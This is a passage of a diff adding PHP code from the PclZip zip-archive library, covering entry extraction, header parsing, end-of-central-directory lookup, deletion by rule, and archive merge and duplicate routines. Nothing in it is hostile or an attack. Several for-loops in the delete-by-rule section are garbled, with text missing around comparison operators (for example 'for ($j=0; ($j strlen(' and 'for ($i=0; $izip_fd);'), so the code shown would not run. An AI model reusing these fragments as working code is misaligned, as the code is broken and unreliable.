----- Look for abort result + if ($v_result == 2) { + // ----- This status is internal and will be changed in 'skipped' + $p_entry['status'] = "aborted"; + $v_result = PCLZIP_ERR_USER_ABORTED; + } + + // ----- Update the informations + // Only some fields can be modified + $p_entry['filename'] = $v_local_header['filename']; + } + + // ----- Trace + + // ----- Look if extraction should be done + if ($p_entry['status'] == 'ok') { + + // ----- Do the extraction (if not a folder) + if (!(($p_entry['external']&0x00000010)==0x00000010)) { + // ----- Look for not compressed file + if ($p_entry['compressed_size'] == $p_entry['size']) { + + // ----- Read the file in a buffer (one shot) + $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); + + // ----- Send the file to the output + echo $v_buffer; + unset($v_buffer); + } + else { + + // ----- Read the compressed file in a buffer (one shot) + $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); + + // ----- Decompress the file + $v_file_content = gzinflate($v_buffer); + unset($v_buffer); + + // ----- Send the file to the output + echo $v_file_content; + unset($v_file_content); + } + } + } + + // ----- Change abort status + if ($p_entry['status'] == "aborted") { + $p_entry['status'] = "skipped"; + } + + // ----- Look for post-extract callback + elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. + $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); + + // ----- Look for abort result + if ($v_result == 2) { + $v_result = PCLZIP_ERR_USER_ABORTED; + } + } + + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privExtractFileAsString() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privExtractFileAsString(&$p_entry, &$p_string, &$p_options) + { + $v_result=1; + + // ----- Read the file header + $v_header = array(); + if (($v_result = $this->privReadFileHeader($v_header)) != 1) + { + // ----- Return + return $v_result; + } + + + // ----- Check that the file header is coherent with $p_entry info + if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { + // TBC + } + + // ----- Look for pre-extract callback + if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. + $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); + if ($v_result == 0) { + // ----- Change the file status + $p_entry['status'] = "skipped"; + $v_result = 1; + } + + // ----- Look for abort result + if ($v_result == 2) { + // ----- This status is internal and will be changed in 'skipped' + $p_entry['status'] = "aborted"; + $v_result = PCLZIP_ERR_USER_ABORTED; + } + + // ----- Update the informations + // Only some fields can be modified + $p_entry['filename'] = $v_local_header['filename']; + } + + + // ----- Look if extraction should be done + if ($p_entry['status'] == 'ok') { + + // ----- Do the extraction (if not a folder) + if (!(($p_entry['external']&0x00000010)==0x00000010)) { + // ----- Look for not compressed file + // if ($p_entry['compressed_size'] == $p_entry['size']) + if ($p_entry['compression'] == 0) { + + // ----- Reading the file + $p_string = @fread($this->zip_fd, $p_entry['compressed_size']); + } + else { + + // ----- Reading the file + $v_data = @fread($this->zip_fd, $p_entry['compressed_size']); + + // ----- Decompress the file + if (($p_string = @gzinflate($v_data)) === FALSE) { + // TBC + } + } + + // ----- Trace + } + else { + // TBC : error : can not extract a folder in a string + } + + } + + // ----- Change abort status + if ($p_entry['status'] == "aborted") { + $p_entry['status'] = "skipped"; + } + + // ----- Look for post-extract callback + elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { + + // ----- Generate a local information + $v_local_header = array(); + $this->privConvertHeader2FileInfo($p_entry, $v_local_header); + + // ----- Swap the content to header + $v_local_header['content'] = $p_string; + $p_string = ''; + + // ----- Call the callback + // Here I do not use call_user_func() because I need to send a reference to the + // header. + $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); + + // ----- Swap back the content to header + $p_string = $v_local_header['content']; + unset($v_local_header['content']); + + // ----- Look for abort result + if ($v_result == 2) { + $v_result = PCLZIP_ERR_USER_ABORTED; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privReadFileHeader() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privReadFileHeader(&$p_header) + { + $v_result=1; + + // ----- Read the 4 bytes signature + $v_binary_data = @fread($this->zip_fd, 4); + $v_data = unpack('Vid', $v_binary_data); + + // ----- Check signature + if ($v_data['id'] != 0x04034b50) + { + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read the first 42 bytes of the header + $v_binary_data = fread($this->zip_fd, 26); + + // ----- Look for invalid block size + if (strlen($v_binary_data) != 26) + { + $p_header['filename'] = ""; + $p_header['status'] = "invalid_header"; + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Extract the values + $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data); + + // ----- Get filename + $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']); + + // ----- Get extra_fields + if ($v_data['extra_len'] != 0) { + $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']); + } + else { + $p_header['extra'] = ''; + } + + // ----- Extract properties + $p_header['version_extracted'] = $v_data['version']; + $p_header['compression'] = $v_data['compression']; + $p_header['size'] = $v_data['size']; + $p_header['compressed_size'] = $v_data['compressed_size']; + $p_header['crc'] = $v_data['crc']; + $p_header['flag'] = $v_data['flag']; + $p_header['filename_len'] = $v_data['filename_len']; + + // ----- Recuperate date in UNIX format + $p_header['mdate'] = $v_data['mdate']; + $p_header['mtime'] = $v_data['mtime']; + if ($p_header['mdate'] && $p_header['mtime']) + { + // ----- Extract time + $v_hour = ($p_header['mtime'] & 0xF800) >> 11; + $v_minute = ($p_header['mtime'] & 0x07E0) >> 5; + $v_seconde = ($p_header['mtime'] & 0x001F)*2; + + // ----- Extract date + $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980; + $v_month = ($p_header['mdate'] & 0x01E0) >> 5; + $v_day = $p_header['mdate'] & 0x001F; + + // ----- Get UNIX date format + $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); + + } + else + { + $p_header['mtime'] = time(); + } + + // TBC + //for(reset($v_data); $key = key($v_data); next($v_data)) { + //} + + // ----- Set the stored filename + $p_header['stored_filename'] = $p_header['filename']; + + // ----- Set the status field + $p_header['status'] = "ok"; + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privReadCentralFileHeader() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privReadCentralFileHeader(&$p_header) + { + $v_result=1; + + // ----- Read the 4 bytes signature + $v_binary_data = @fread($this->zip_fd, 4); + $v_data = unpack('Vid', $v_binary_data); + + // ----- Check signature + if ($v_data['id'] != 0x02014b50) + { + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read the first 42 bytes of the header + $v_binary_data = fread($this->zip_fd, 42); + + // ----- Look for invalid block size + if (strlen($v_binary_data) != 42) + { + $p_header['filename'] = ""; + $p_header['status'] = "invalid_header"; + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Extract the values + $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data); + + // ----- Get filename + if ($p_header['filename_len'] != 0) + $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']); + else + $p_header['filename'] = ''; + + // ----- Get extra + if ($p_header['extra_len'] != 0) + $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']); + else + $p_header['extra'] = ''; + + // ----- Get comment + if ($p_header['comment_len'] != 0) + $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']); + else + $p_header['comment'] = ''; + + // ----- Extract properties + + // ----- Recuperate date in UNIX format + //if ($p_header['mdate'] && $p_header['mtime']) + // TBC : bug : this was ignoring time with 0/0/0 + if (1) + { + // ----- Extract time + $v_hour = ($p_header['mtime'] & 0xF800) >> 11; + $v_minute = ($p_header['mtime'] & 0x07E0) >> 5; + $v_seconde = ($p_header['mtime'] & 0x001F)*2; + + // ----- Extract date + $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980; + $v_month = ($p_header['mdate'] & 0x01E0) >> 5; + $v_day = $p_header['mdate'] & 0x001F; + + // ----- Get UNIX date format + $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); + + } + else + { + $p_header['mtime'] = time(); + } + + // ----- Set the stored filename + $p_header['stored_filename'] = $p_header['filename']; + + // ----- Set default status to ok + $p_header['status'] = 'ok'; + + // ----- Look if it is a directory + if (substr($p_header['filename'], -1) == '/') { + //$p_header['external'] = 0x41FF0010; + $p_header['external'] = 0x00000010; + } + + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privCheckFileHeaders() + // Description : + // Parameters : + // Return Values : + // 1 on success, + // 0 on error; + // -------------------------------------------------------------------------------- + function privCheckFileHeaders(&$p_local_header, &$p_central_header) + { + $v_result=1; + + // ----- Check the static values + // TBC + if ($p_local_header['filename'] != $p_central_header['filename']) { + } + if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) { + } + if ($p_local_header['flag'] != $p_central_header['flag']) { + } + if ($p_local_header['compression'] != $p_central_header['compression']) { + } + if ($p_local_header['mtime'] != $p_central_header['mtime']) { + } + if ($p_local_header['filename_len'] != $p_central_header['filename_len']) { + } + + // ----- Look for flag bit 3 + if (($p_local_header['flag'] & 8) == 8) { + $p_local_header['size'] = $p_central_header['size']; + $p_local_header['compressed_size'] = $p_central_header['compressed_size']; + $p_local_header['crc'] = $p_central_header['crc']; + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privReadEndCentralDir() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privReadEndCentralDir(&$p_central_dir) + { + $v_result=1; + + // ----- Go to the end of the zip file + $v_size = filesize($this->zipname); + @fseek($this->zip_fd, $v_size); + if (@ftell($this->zip_fd) != $v_size) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\''); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- First try : look if this is an archive with no commentaries (most of the time) + // in this case the end of central dir is at 22 bytes of the file end + $v_found = 0; + if ($v_size > 26) { + @fseek($this->zip_fd, $v_size-22); + if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22)) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\''); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read for bytes + $v_binary_data = @fread($this->zip_fd, 4); + $v_data = @unpack('Vid', $v_binary_data); + + // ----- Check signature + if ($v_data['id'] == 0x06054b50) { + $v_found = 1; + } + + $v_pos = ftell($this->zip_fd); + } + + // ----- Go back to the maximum possible size of the Central Dir End Record + if (!$v_found) { + $v_maximum_size = 65557; // 0xFFFF + 22; + if ($v_maximum_size > $v_size) + $v_maximum_size = $v_size; + @fseek($this->zip_fd, $v_size-$v_maximum_size); + if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size)) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\''); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read byte per byte in order to find the signature + $v_pos = ftell($this->zip_fd); + $v_bytes = 0x00000000; + while ($v_pos < $v_size) + { + // ----- Read a byte + $v_byte = @fread($this->zip_fd, 1); + + // ----- Add the byte + //$v_bytes = ($v_bytes << 8) | Ord($v_byte); + // Note we mask the old value down such that once shifted we can never end up with more than a 32bit number + // Otherwise on systems where we have 64bit integers the check below for the magic number will fail. + $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte); + + // ----- Compare the bytes + if ($v_bytes == 0x504b0506) + { + $v_pos++; + break; + } + + $v_pos++; + } + + // ----- Look if not found end of central dir + if ($v_pos == $v_size) + { + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature"); + + // ----- Return + return PclZip::errorCode(); + } + } + + // ----- Read the first 18 bytes of the header + $v_binary_data = fread($this->zip_fd, 18); + + // ----- Look for invalid block size + if (strlen($v_binary_data) != 18) + { + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data)); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Extract the values + $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data); + + // ----- Check the global size + if (($v_pos + $v_data['comment_size'] + 18) != $v_size) { + + // ----- Removed in release 2.2 see readme file + // The check of the file size is a little too strict. + // Some bugs where found when a zip is encrypted/decrypted with 'crypt'. + // While decrypted, zip has training 0 bytes + if (0) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, + 'The central dir is not at the end of the archive.' + .' Some trailing bytes exists after the archive.'); + + // ----- Return + return PclZip::errorCode(); + } + } + + // ----- Get comment + if ($v_data['comment_size'] != 0) { + $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']); + } + else + $p_central_dir['comment'] = ''; + + $p_central_dir['entries'] = $v_data['entries']; + $p_central_dir['disk_entries'] = $v_data['disk_entries']; + $p_central_dir['offset'] = $v_data['offset']; + $p_central_dir['size'] = $v_data['size']; + $p_central_dir['disk'] = $v_data['disk']; + $p_central_dir['disk_start'] = $v_data['disk_start']; + + // TBC + //for(reset($p_central_dir); $key = key($p_central_dir); next($p_central_dir)) { + //} + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privDeleteByRule() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privDeleteByRule(&$p_result_list, &$p_options) + { + $v_result=1; + $v_list_detail = array(); + + // ----- Open the zip file + if (($v_result=$this->privOpenFd('rb')) != 1) + { + // ----- Return + return $v_result; + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + $this->privCloseFd(); + return $v_result; + } + + // ----- Go to beginning of File + @rewind($this->zip_fd); + + // ----- Scan all the files + // ----- Start at beginning of Central Dir + $v_pos_entry = $v_central_dir['offset']; + @rewind($this->zip_fd); + if (@fseek($this->zip_fd, $v_pos_entry)) + { + // ----- Close the zip file + $this->privCloseFd(); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read each entry + $v_header_list = array(); + $j_start = 0; + for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++) + { + + // ----- Read the file header + $v_header_list[$v_nb_extracted] = array(); + if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1) + { + // ----- Close the zip file + $this->privCloseFd(); + + return $v_result; + } + + + // ----- Store the index + $v_header_list[$v_nb_extracted]['index'] = $i; + + // ----- Look for the specific extract rules + $v_found = false; + + // ----- Look for extract by name rule + if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) + && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { + + // ----- Look if the filename is in the list + for ($j=0; ($j strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) + && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { + $v_found = true; + } + elseif ( (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) /* Indicates a folder */ + && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) { + $v_found = true; + } + } + // ----- Look for a filename + elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { + $v_found = true; + } + } + } + + // ----- Look for extract by ereg rule + // ereg() is deprecated with PHP 5.3 + /* + else if ( (isset($p_options[PCLZIP_OPT_BY_EREG])) + && ($p_options[PCLZIP_OPT_BY_EREG] != "")) { + + if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header_list[$v_nb_extracted]['stored_filename'])) { + $v_found = true; + } + } + */ + + // ----- Look for extract by preg rule + else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) + && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { + + if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) { + $v_found = true; + } + } + + // ----- Look for extract by index rule + else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) + && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { + + // ----- Look if the index is in the list + for ($j=$j_start; ($j=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) { + $v_found = true; + } + if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) { + $j_start = $j+1; + } + + if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) { + break; + } + } + } + else { + $v_found = true; + } + + // ----- Look for deletion + if ($v_found) + { + unset($v_header_list[$v_nb_extracted]); + } + else + { + $v_nb_extracted++; + } + } + + // ----- Look if something need to be deleted + if ($v_nb_extracted > 0) { + + // ----- Creates a temporay file + $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; + + // ----- Creates a temporary zip archive + $v_temp_zip = new PclZip($v_zip_temp_name); + + // ----- Open the temporary zip file in write mode + if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) { + $this->privCloseFd(); + + // ----- Return + return $v_result; + } + + // ----- Look which file need to be kept + for ($i=0; $izip_fd); + if (@fseek($this->zip_fd, $v_header_list[$i]['offset'])) { + // ----- Close the zip file + $this->privCloseFd(); + $v_temp_zip->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Read the file header + $v_local_header = array(); + if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) { + // ----- Close the zip file + $this->privCloseFd(); + $v_temp_zip->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Return + return $v_result; + } + + // ----- Check that local file header is same as central file header + if ($this->privCheckFileHeaders($v_local_header, + $v_header_list[$i]) != 1) { + // TBC + } + unset($v_local_header); + + // ----- Write the file header + if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) { + // ----- Close the zip file + $this->privCloseFd(); + $v_temp_zip->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Return + return $v_result; + } + + // ----- Read/write the data block + if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) { + // ----- Close the zip file + $this->privCloseFd(); + $v_temp_zip->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Return + return $v_result; + } + } + + // ----- Store the offset of the central dir + $v_offset = @ftell($v_temp_zip->zip_fd); + + // ----- Re-Create the Central Dir files header + for ($i=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) { + $v_temp_zip->privCloseFd(); + $this->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Return + return $v_result; + } + + // ----- Transform the header to a 'usable' info + $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); + } + + + // ----- Zip file comment + $v_comment = ''; + if (isset($p_options[PCLZIP_OPT_COMMENT])) { + $v_comment = $p_options[PCLZIP_OPT_COMMENT]; + } + + // ----- Calculate the size of the central header + $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset; + + // ----- Create the central dir footer + if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) { + // ----- Reset the file list + unset($v_header_list); + $v_temp_zip->privCloseFd(); + $this->privCloseFd(); + @unlink($v_zip_temp_name); + + // ----- Return + return $v_result; + } + + // ----- Close + $v_temp_zip->privCloseFd(); + $this->privCloseFd(); + + // ----- Delete the zip file + // TBC : I should test the result ... + @unlink($this->zipname); + + // ----- Rename the temporary file + // TBC : I should test the result ... + //@rename($v_zip_temp_name, $this->zipname); + PclZipUtilRename($v_zip_temp_name, $this->zipname); + + // ----- Destroy the temporary archive + unset($v_temp_zip); + } + + // ----- Remove every files : reset the file + else if ($v_central_dir['entries'] != 0) { + $this->privCloseFd(); + + if (($v_result = $this->privOpenFd('wb')) != 1) { + return $v_result; + } + + if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) { + return $v_result; + } + + $this->privCloseFd(); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privDirCheck() + // Description : + // Check if a directory exists, if not it creates it and all the parents directory + // which may be useful. + // Parameters : + // $p_dir : Directory path to check. + // Return Values : + // 1 : OK + // -1 : Unable to create directory + // -------------------------------------------------------------------------------- + function privDirCheck($p_dir, $p_is_dir=false) + { + $v_result = 1; + + + // ----- Remove the final '/' + if (($p_is_dir) && (substr($p_dir, -1)=='/')) + { + $p_dir = substr($p_dir, 0, strlen($p_dir)-1); + } + + // ----- Check the directory availability + if ((is_dir($p_dir)) || ($p_dir == "")) + { + return 1; + } + + // ----- Extract parent directory + $p_parent_dir = dirname($p_dir); + + // ----- Just a check + if ($p_parent_dir != $p_dir) + { + // ----- Look for parent directory + if ($p_parent_dir != "") + { + if (($v_result = $this->privDirCheck($p_parent_dir)) != 1) + { + return $v_result; + } + } + } + + // ----- Create the directory + if (!@mkdir($p_dir, 0777)) + { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'"); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privMerge() + // Description : + // If $p_archive_to_add does not exist, the function exit with a success result. + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privMerge(&$p_archive_to_add) + { + $v_result=1; + + // ----- Look if the archive_to_add exists + if (!is_file($p_archive_to_add->zipname)) + { + + // ----- Nothing to merge, so merge is a success + $v_result = 1; + + // ----- Return + return $v_result; + } + + // ----- Look if the archive exists + if (!is_file($this->zipname)) + { + + // ----- Do a duplicate + $v_result = $this->privDuplicate($p_archive_to_add->zipname); + + // ----- Return + return $v_result; + } + + // ----- Open the zip file + if (($v_result=$this->privOpenFd('rb')) != 1) + { + // ----- Return + return $v_result; + } + + // ----- Read the central directory informations + $v_central_dir = array(); + if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) + { + $this->privCloseFd(); + return $v_result; + } + + // ----- Go to beginning of File + @rewind($this->zip_fd); + + // ----- Open the archive_to_add file + if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1) + { + $this->privCloseFd(); + + // ----- Return + return $v_result; + } + + // ----- Read the central directory informations + $v_central_dir_to_add = array(); + if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1) + { + $this->privCloseFd(); + $p_archive_to_add->privCloseFd(); + + return $v_result; + } + + // ----- Go to beginning of File + @rewind($p_archive_to_add->zip_fd); + + // ----- Creates a temporay file + $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; + + // ----- Open the temporary file in write mode + if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) + { + $this->privCloseFd(); + $p_archive_to_add->privCloseFd(); + + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Copy the files from the archive to the temporary file + // TBC : Here I should better append the file and go back to erase the central dir + $v_size = $v_central_dir['offset']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = fread($this->zip_fd, $v_read_size); + @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Copy the files from the archive_to_add into the temporary file + $v_size = $v_central_dir_to_add['offset']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size); + @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Store the offset of the central dir + $v_offset = @ftell($v_zip_temp_fd); + + // ----- Copy the block of file headers from the old archive + $v_size = $v_central_dir['size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($this->zip_fd, $v_read_size); + @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Copy the block of file headers from the archive_to_add + $v_size = $v_central_dir_to_add['size']; + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size); + @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Merge the file comments + $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment']; + + // ----- Calculate the size of the (new) central header + $v_size = @ftell($v_zip_temp_fd)-$v_offset; + + // ----- Swap the file descriptor + // Here is a trick : I swap the temporary fd with the zip fd, in order to use + // the following methods on the temporary fil and not the real archive fd + $v_swap = $this->zip_fd; + $this->zip_fd = $v_zip_temp_fd; + $v_zip_temp_fd = $v_swap; + + // ----- Create the central dir footer + if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1) + { + $this->privCloseFd(); + $p_archive_to_add->privCloseFd(); + @fclose($v_zip_temp_fd); + $this->zip_fd = null; + + // ----- Reset the file list + unset($v_header_list); + + // ----- Return + return $v_result; + } + + // ----- Swap back the file descriptor + $v_swap = $this->zip_fd; + $this->zip_fd = $v_zip_temp_fd; + $v_zip_temp_fd = $v_swap; + + // ----- Close + $this->privCloseFd(); + $p_archive_to_add->privCloseFd(); + + // ----- Close the temporary file + @fclose($v_zip_temp_fd); + + // ----- Delete the zip file + // TBC : I should test the result ... + @unlink($this->zipname); + + // ----- Rename the temporary file + // TBC : I should test the result ... + //@rename($v_zip_temp_name, $this->zipname); + PclZipUtilRename($v_zip_temp_name, $this->zipname); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privDuplicate() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privDuplicate($p_archive_filename) + { + $v_result=1; + + // ----- Look if the $p_archive_filename exists + if (!is_file($p_archive_filename)) + { + + // ----- Nothing to duplicate, so duplicate is a success. + $v_result = 1; + + // ----- Return + return $v_result; + } + + // ----- Open the zip file + if (($v_result=$this->privOpenFd('wb')) != 1) + { + // ----- Return + return $v_result; + } + + // ----- Open the temporary file in write mode + if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0) + { + $this->privCloseFd(); + + PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode'); + + // ----- Return + return PclZip::errorCode(); + } + + // ----- Copy the files from the archive to the temporary file + // TBC : Here I should better append the file and go back to erase the central dir + $v_size = filesize($p_archive_filename); + while ($v_size != 0) + { + $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = fread($v_zip_temp_fd, $v_read_size); + @fwrite($this->zip_fd, $v_buffer, $v_read_size); + $v_size -= $v_read_size; + } + + // ----- Close + $this->privCloseFd(); + + // ----- Close the temporary file + @fclose($v_zip_temp_fd); + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privErrorLog() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function privErrorLog($p_error_code=0, $p_error_string='') + { + if 